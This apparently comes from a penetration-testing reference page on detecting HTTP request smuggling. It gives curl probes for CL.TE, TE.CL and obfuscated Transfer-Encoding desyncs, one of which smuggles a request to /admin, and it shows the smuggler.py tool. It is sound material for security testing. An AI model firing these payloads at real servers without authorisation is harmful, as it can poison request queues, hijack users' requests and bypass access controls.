Skip to content
HackIndex logo

HackIndex

HTTP Request Smuggling Detection

2 min read Mar 28, 2026

HTTP request smuggling exploits disagreements between frontend proxies and backend servers over where one HTTP request ends and the next begins. A successful smuggle can poison the request queue, bypass security controls, hijack other users' requests, and trigger reflected XSS. Detection confirms whether the frontend and backend parse Transfer-Encoding and Content-Length headers differently.

CL.TE Detection

The frontend uses Content-Length, the backend uses Transfer-Encoding. Send a request where the CL says the body ends before TE terminates. If the backend keeps a fragment from your request and prepends it to the next request, smuggling is confirmed:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$DOMAIN/ -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 6' -H 'Transfer-Encoding: chunked' --data-binary $'0\r\n\r\nX' --http1.1 -o /dev/null -w '%{http_code}'

TE.CL Detection

The frontend uses Transfer-Encoding, the backend uses Content-Length. Send a chunked request with a large claimed Content-Length. The backend waits for more data, causing a timeout if TE.CL smuggling is possible:

┌──(kali㉿kali)-[~]
└─$ timeout 15 curl -sk -X POST https://$DOMAIN/ -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 4' -H 'Transfer-Encoding: chunked' --data-binary $'5e\r\nPOST /admin HTTP/1.1\r\nHost: $DOMAIN\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 30\r\n\r\nx=1\r\n0\r\n\r\n' --http1.1; echo "exit: $?"

smuggler.py for Automated Detection

smuggler automates CL.TE and TE.CL probes across all methods and obfuscation variants:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/defparam/smuggler && cd smuggler
┌──(kali㉿kali)-[~]
└─$ python3 smuggler.py -u https://$DOMAIN/ -m POST 
[+] CL.TE Possible! Timeout detected on chunked body

A timeout or unexpected response from smuggler confirms a desync condition. Manual verification with timing is more reliable than automated tools alone — follow up with a manual probe to confirm before reporting.

TE Obfuscation Variants

Some frontends strip a well-formed Transfer-Encoding header but pass obfuscated variants to the backend. Test these when standard headers are not triggering a desync:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$DOMAIN/ --data-binary $'0\r\n\r\n' -H 'Content-Length: 6' -H 'Transfer-Encoding : chunked' --http1.1 -o /dev/null -w '%{time_total}'

References